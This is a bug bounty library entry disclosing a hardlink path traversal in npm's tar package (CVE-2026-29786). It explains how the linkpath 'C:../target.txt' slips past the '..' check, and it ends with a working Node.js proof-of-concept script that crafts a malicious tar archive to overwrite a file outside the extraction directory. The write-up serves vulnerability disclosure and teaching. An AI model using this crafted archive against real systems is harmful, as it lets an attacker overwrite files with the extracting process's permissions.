# tar has Hardlink Path Traversal via Drive-Relative Linkpath

npm tar's hardlink extraction validated '..' before stripping drive roots, so linkpath 'C:../target.txt' escaped cwd and overwrote outside files.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: Jvr2022
- Disclosed: 2026-03-05
- CVE: CVE-2026-29786
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qffp-2rhf-9h96
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qffp-2rhf-9h96
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:path-traversal

**Target:** npm tar library Unpack extraction (hardlink handling)
**Root cause:** Unpack[STRIPABSOLUTEPATH] checks for '..' segments before stripAbsolutePath() removes drive roots; 'C:..' is not a '..' segment, but stripping 'C:' yields '../target.txt', which resolves outside cwd when the hardlink is created.
**Steps:**
1. Craft tar header: `new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)`
2. Write the 1536-byte header buffer to `poc.tar`
3. Extract with `x({ cwd, file: tarFile })`
4. Write content to the extracted path `l` in cwd
5. Observe `../target.txt` now contains the written content and link count is 2
**How found:** Reporter noticed the '..' validation runs before absolute-root stripping, and that a drive-relative prefix like 'C:..' survives the split-on-'/' check while still being rewritten into a traversal after stripping.
**Exploitation:** Attacker supplies a tar archive containing a hardlink entry with linkpath 'C:../target.txt'. On extraction, tar creates hardlink 'l' pointing one directory above cwd; any subsequent write through 'l' overwrites the outside file with the extracting process's permissions.
**Insight:** When a sanitizer validates a path then normalizes/strips it, test inputs where the dangerous token is fused with a prefix the stripper removes (e.g. 'C:..', 'file:..') so validation sees a benign segment but post-strip output is traversal.

## Proof of concept (copied exactly from the original report)

**PoC script creating hardlink with drive-relative linkpath**

```
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

